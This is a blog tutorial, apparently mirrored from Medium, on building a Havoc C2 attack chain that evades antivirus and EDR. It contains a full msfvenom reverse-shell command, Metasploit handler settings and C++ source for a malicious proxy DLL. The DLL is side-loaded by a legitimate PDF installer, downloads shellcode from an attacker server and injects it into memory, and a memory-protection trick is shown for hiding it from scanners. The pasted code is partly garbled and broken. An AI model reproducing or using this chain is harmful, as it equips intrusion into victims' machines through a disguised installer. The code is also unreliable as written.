Havoc C2 with AV/EDR Bypass Methods in 2024 (Part 1) | by Sam Rothlisberger | Jan, 2024 | Medium
2024-2-2 23:51:36 Author: medium.com(查看原文) 阅读量:38 收藏

DISCLAIMER: Using these tools and methods against hosts that you do not have explicit permission to test is illegal. You are responsible for any trouble you may cause by using these tools and methods.

Sam Rothlisberger

Havoc C2 is a modern and malicious post-exploitation framework that has quickly become one of many peoples’ favorite open-source C2s. Its features offer everything you need to complete a pentest or red team engagement. It was designed to be as malleable and modular as possible. That said, the Demon agent is designed to be interoperable with common techniques for bypassing AV/EDR with software such as loaders, packers, crypters, and stagers.

In 2024, we will need to do some things to customize our exploit chain to bypass AV/EDR/IDS. Specifically, we need to make our shellcode less likely to alert signature and dynamic analysis based detection on the host as well as make the network traffic look more normal:

  • Encrypt the first stage and second stage payload connections via HTTPS and use a validated/non default SSL certificate.
  • Add custom headers, user-agents, certs, URIs, jitter, and ROP chains in our stage one and stage two listeners/payloads to make it harder for Blue Teamers and AV/EDR to detect your C2 connection.
  • Make our custom DLL (loader) execute via DLL proxy hijacking and side-loading from a normal Portable Executable (PE) to remain undetected.
  • Use a redirector server to hide the true location of our Team Server (command and control server) via port forwarding (PART 2)
  • Put the executable and DLL in a normal program file folder and start on logon. (PART 2)

First, we need to set up the Team Server. This is a center hub for any victims that are running our agents.

Setting up Team Server, The hub for all your C2 connections

Then, run the client and connect it to the Team Server. The username/password and port number are in the ./profiles/havoc.yaotl file.

Set up the client which connects to the Team Server

Finally, the user interface GUI appears which allows us to create listeners and payloads for those listeners.

Havoc C2 User Interface
User Agent Generator for Havoc C2 Listener

Go to ‘View > Listeners’ to set up the listener which the victim will connect to when it executes the stage 2 payload. Use the user agent generator above to create a random user agent.

Havoc C2 HTTPS Listener

We create the second stage shellcode that will be transferred to the victim from the attacker after the initial stage 1 connection. The intent is that this shellcode is much larger than the Stage 1 shellcode so we reduce the size of the shellcode we put on disk. Click ‘Attack > Payload’.

Havoc C2 HTTPS Payload (demon.x64.bin)

Some information about the options we used to make our stage 2 payload more stealthy:

  • Indirect Syscalls make the execution of the syscall command takes place within the memory of the ntdll.dll and is therefore legitimate for the EDR. By replacing direct syscalls with indirect ones, the resulting call stack mimics a more conventional execution pattern. This can be useful in bypassing EDR systems that examine the memory area where syscalls and their returns are executed. The weakness of this is ETW which may be compensated by Hardware Breakpoints described below.
  • Stack duplication is used during sleep phases to evade detection during C2 operations.
  • Foliage is a sleep obfuscation technique that creates a new thread and uses NtApcQueueThread to queue a ROP chain. Return Oriented Programming (or ROP) is the idea of chaining together small snippets of assembly with stack control to cause the program to do more complex things. In this case, Foliage encrypts our agent memory and delays execution.
  • RtlCreateTimer is used to queue the ROP chain itself during between sleep cycles.
  • The combination of AMSI (Antimalware Scan Interface) and ETW (Event Tracing for Windows) makes it challenging for red teams to simulate attacks, such as domain enumeration and privilege escalation, because AMSI scans code and ETW provides reports about classes and methods used by PEs. So we want to bypass this with hardware breakpoints which basically loads a new process in debug mode without the hooked EDR or amsi.dll. Read about the technique here:

Click generate and we see the payload saved as demon.x64.bin.

Stage 2 Shellcode Saved Location

We need to create our first stage payload which is the only shellcode that will be inside of our malicious DLL loader (on disk) on the victim. We first want to generate a SSL certificate that will not be fingerprinted as being from msfvenom. This is extremely important or your meterpreter connection will be detected.

Then we compile the shellcode with the following options to help us remain undetected by AV/EDR:

msfvenom -p windows/x64/custom/reverse_https LHOST= LPORT=8443 EXITFUNC=thread -f raw HttpUserAgent=’Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36' LURI=blog.html HandlerSSLCert=/home/atler/Downloads/www.google.com.pem

This shellcode creates a reverse shell connection to our attacker machine to transfer the Stage 2 payload (demon.x64.bin) we just generated. Only about 2500 bytes is pretty good!

Now we need to create a listener using msfconsole to handle the reverse shell code we just created. We make sure to enter the SHELLCODE_FILE as our Havoc C2 binary file we generated previously (demon.x64.bin) so we can send our Stage 2 payload after initial connection over meterpreter HTTPS. Here’s the options:

  • use multi/handler
  • set payload windows/x64/custom/reverse_https
  • set exitfunc thread
  • set lhost <IP ADDR>
  • set lport 8443
  • set luri blog.html
  • set HttpServerName Blogger
  • set shellcode_file demon.x64.bin
  • set exitonsession false
  • set HttpHostHeader www.factbook.com
  • set HandlerSSLCert www.google.com.pem

Our process for connections looks like this:

Step 1) Victim executes stage 1 payload on disk → stage 2 payload downloaded from port 8443 (Metasploit) on attacker

Step 2) Stage 2 connection executed on victim and C2 established to port 443 (Havoc C2) on attacker

We need to decide how to run our DLL stealthily. There’s plenty of ways to do this with some social engineering of course. What we could do is use rundll32.exe in PowerShell, but this is likely caught by EDR even with an AMSI bypass in PowerShell. What we’re going to do is DLL side-loading with DLL proxying from a normal PE.

Determine what PE to use

The first step is to find a vulnerable PE that is preferably signed/trusted and allows side-loading of a DLL meaning the DLL will load with the PE if it has the correct name and is in the same directory as the PE (which is default for 64 bit systems). I’m going to use a Sumatra PDF setup executable. I downloaded the executable here:

Find what to name our malicious DLL and the export definitions of the legit DLL

It’s not enough to just put any DLL in the same directory as SumatraPDF.exe because we don’t know the name of the loaded DLL and even if we did, it will break the PE itself which would give us away. DLL proxying is a technique to restore the native DLL execution flow (function calls) so the PE is not corrupted. To find the name of a vulnerable DLL and create our .cpp template we are going to use a tool called Sparticus:

On Windows, we run the below command in Powershell and then execute SumatraPDF.exe from anywhere on the system. You’ll also need to download procmon from sysinternals. Sparticus then finds which DLLs are hijackable (multiple, but I chose DWrite.dll), exports their definitions and generates a cpp template that we can open with Visual Studio that won’t break the specific PE when we DLL side-load!

.\Spartacus.exe — mode dll — procmon .\Procmon.exe — pml C:\Data\logs.pml — csv C:\Data\VulnerableDLLFiles.csv — solution C:\Data\Solutions — verbose

The top pragma comments parse the legit DLLs export table and create a C++ header that contains export definitions that the C++ Compile Linker can use to create the new malicious DLL. We can load the Sparticus generated .cpp template below in Visual Studio with our Stage 1 payload Shellcode and build it:

Build our Malicious DLL (dllmain.cpp) in Visual Studio.

Make sure the build is for x64 release. Below is the code we used in dllmain.cpp:

#pragma once

#pragma comment(linker,”/export:DWriteCreateFactory=C:\\Windows\\System32\\DWrite.DWriteCreateFactory,@1")

#include “windows.h”
#include “ios”
#include “fstream”

VOID Payload() {
unsigned char shellcode[] =

HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);


BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
switch (fdwReason)
return TRUE;

We do acouple things to change the code above from the original Spartacus output. The important thing is the pragma comments (only one in my case) on the top that will basically run the DWrite.dll export table. I delete hModule and the DebugToFile() function that were included by default in our Sparticus tempalte. We also copy and paste the msfvenom shellcode we created for the Stage 1 payload into the variable shellcode as seen above. Then, we create a Payload() function that actually executes shellcode using RemoteThread from our SumatraPDF executable.

I first wanted to make sure that my DWrite.DLL is working correctly by turning off Defender first and we can see in procmon below that our custom DLL is loaded first and then it queues to load the original in C:\Windows\System32\DWrite.dll. Sweet, we have achieved DLL proxying and side-loading so the program won’t crash.

Procmon POC: Malicious DLL in SumatraPDF Installer folder loaded first
Procmon POC: legit DLL in C:\Windows\system32 executed by the export definitions in our Malicious DLL

Test AV/EDR detection

We can send SumatraPDF-3.5.2–64-install.exe and our new DLL to the Victim in a zip file. This still won’t bypass protections like applocker, but you can get to that point with some basic bypasses. The executable will look like and act like a setup executable for SumatraPDF, but also make a connection with Havoc C2 in the background.

Try harder

After turning Defender back on and trying to run the executable, we find it still catches the malicious DLL. Specifically, it detects the meterpreter shellcode hardcoded in the shellcode variable. We need to find a way to load this shellcode without putting it in the DLL directly. For this, we’re going to dissect parts of the resource below to instead load the shellcode variable from our remote server into local memory on the victim, which should mitigate us needing to have it hardcoded in the script:

#pragma once
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include “ios”
#include “fstream”
char ip[] = “”;
char port[] = “80”;
char resource[] = “iloveblogs.bin”;
#pragma comment(lib, “ntdll”)
#pragma comment(linker,”/export:DWriteCreateFactory=C:\\Windows\\System32\\DWrite.DWriteCreateFactory,@1")
#pragma comment (lib, “Ws2_32.lib”)
#pragma comment (lib, “Mswsock.lib”)
#pragma comment (lib, “AdvApi32.lib”)
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
EXTERN_C NTSTATUS NtWaitForSingleObject(
IN BOOLEAN Alertable,
void getShellcode_Run(char* host, char* port, char* resource) {
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
struct addrinfo* result = NULL,
* ptr = NULL,
char sendbuf[MAX_PATH] = “”;
lstrcatA(sendbuf, “GET /”);
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult!= 0) {
printf(“WSAStartup failed with error: %d\n”, iResult);
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult!= 0) {
printf(“getaddrinfo failed with error: %d\n”, iResult);
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr!= NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
if (ConnectSocket == INVALID_SOCKET) {
printf(“socket failed with error: %ld\n”, WSAGetLastError());
// Connect to server.
printf(“[+] Connect to %s:%s”, host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
ConnectSocket = INVALID_SOCKET;
if (ConnectSocket == INVALID_SOCKET) {
printf(“Unable to connect to server!\n”);
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf(“send failed with error: %d\n”, WSAGetLastError());
printf(“\n[+] Sent %ld Bytes\n”, iResult);

// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf(“shutdown failed with error: %d\n”, WSAGetLastError());

// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
printf(“[+] Received %d Bytes\n”, iResult);
else if (iResult == 0)
printf(“[+] Connection closed\n”);
printf(“recv failed with error: %d\n”, WSAGetLastError());
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof recvbuf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, recvbuf, sizeof recvbuf, NULL);
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
} while (iResult > 0);
// cleanup
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
switch (fdwReason)
getShellcode_Run(ip, port, resource);
return TRUE;

I basically copied the whole script over to my dllmain.cpp. I kept the pragma comments I need (1 comment in my case) from my Sparticus output:

and put the Create Thread Process in my original payload() function to now run in the getShellcode_Run() function. I also changed the variable shellcode to recvbuf when executing the new thread on the process with our meterpreter shellcode.

I added the variables ip, port, and resource to grab my shellcode remotely in the getShellcode_Run() function.

Last thing we need to do is convert our stage 1 payload on the attacker to binary instead of shellcode since we’re going to serve it remotely. I use the msfvenom command below to create my iloveblogs.bin file instead of raw shellcode in hex. Then I started a HTTP server on port 80 to serve it to the victim.

Our NEW process for connections looks like this:

Step 1) Victim downloads iloveblogs.bin shellcode (stage 1) from our HTTP server on port 80 and loads it into memory.

Step 2) Victim executes this stage 1 payload (iloveblogs.bin) → stage 2 payload downloaded from port 8443 (Metasploit) on attacker

Step 3) Stage 2 connection executed on victim and C2 established to port 443 (Havoc C2) on attacker

Try Harder Again

So you’ll notice that this will in fact bypass Defender (YAY), but maybe not some EDR products that scan memory more intently. Other AV/EDR might scan memory when functions such as CreateProcess and CreateRemoteThread are called which we use in our DLL. So to avoid possible detection, we should obscure our code execution even in memory:

  1. Get a handle to the target process. GetProcessesByName will work for this purpose and then open the target process using OpenProcess (like we did previously, no change)

HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());

2. Call VirtualAllocEx to allocate memory within the target process (like we did previously, no change)

PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof recvbuf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

3. Call VirtualProtectEx to set PAGE_NO_ACCESS on the area of memory so AV cannot scan it, but we also can’t write to it yet.

VirtualProtectEx(processHandle, remoteBuffer,sizeof recvbuf, 0x01, NULL);

4. Use CreateRemoteThread to spawn a suspended thread so that the thread is created but does not start running until explicitly resumed.

HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0x00000004, NULL);

5. Wait for AV to attempt to carry out it’s scanning, which will come up with nothing because it’s unable to read the memory. This might need to be a delay up to 15 seconds, but one second is barely noticeable.


6. Use VirtualProtectEx (again) to set the permissions back to PAGE_EXECUTE_READWRITE after AV did it’s thing and thinks it’s safe.

VirtualProtectEx(processHandle, remoteBuffer, sizeof recvbuf, PROCESS_ALL_ACCESS, NULL);

7. Finally, call ResumeThread to start our thread.


8. Use WriteProcessMemory to run our shellcode in memory.

WriteProcessMemory(processHandle, remoteBuffer, recvbuf, sizeof recvbuf, NULL);

Here's the final payload file dllmain.cpp on my Github:

Test AV/EDR Bypass (again)

If this Meterpreter shellcode works, then our Havoc C2 connection definitely should since we implemented newer bypass and obscuration techniques for that. I double click on our Sumatra PDF installer executable.

Windows Defender On and Updated
Sumatra PDF Installer Running like Normal

The DLL grabs my stage 1 payload from my HTTP server and executes it over HTTPS to my meterpreter multi/listener.

The HTTPS connection is established over meterpreter and the stage 2 payload is downloaded and executed on the victim.

I finally receive an encrypted C2 session on Havoc C2 client.

This is great so far! In my next post we’re going to cover packaging this executable and DLL to look less ominous, using it to achieve persistence in a scheduled task, and also exploiting over the internet instead of a local network. I hope you enjoyed the read!

BONUS: Wireshark Analysis

I was interested in what these connections looked like on Wireshark. For the pcap data below, the attacker IP is and the victim IP is

  1. Stage 2 payload (meterpreter) download:

After the stage 1 payload shellcode is loaded into memory, its executed by the victim to download the stage 2 payload. After the initial TCP handshake (10–14), the victim says here’s all my options for creating a secure session (18). The server then says here’s my certificate and my session options too (20). The victim then comes back and says I want to use these options. The server creates a new session ticket (23) and the victim acknowledges it (24). Then starting on packet (34) the stage 2 payload is sent to the victim using the encrypted session ticket. In packet 44, the whole stage 2 payload is sent to the victim. Overall, this looks pretty normal on the network side.

2. Stage 2 payload (Havoc C2) execution:

Above it looks like our Havoc C2 generated SSL cert for the client is for some company in Arizona. Below, sending the command “whoami” in Havoc C2 generates a payload size of about 4kb which is not bad at all.

The victim continues to ping the attacker very frequently and the attacker client replies with an ACK. Lets see how this looks against a real HTTPS website connection https://facebook.com ( below.

So the server and client act in the same way by pinging each other alot. The victim (client) continues to send application data to the server (attacker) and the server (attacker) responds with an ACK. The packet lengths seem about the same too, so I think Havoc C2 would do good against most EDR and IDS/IPS rulesets.

文章来源: https://medium.com/@sam.rothlisberger/havoc-c2-with-av-edr-bypass-methods-in-2024-part-1-733d423fc67b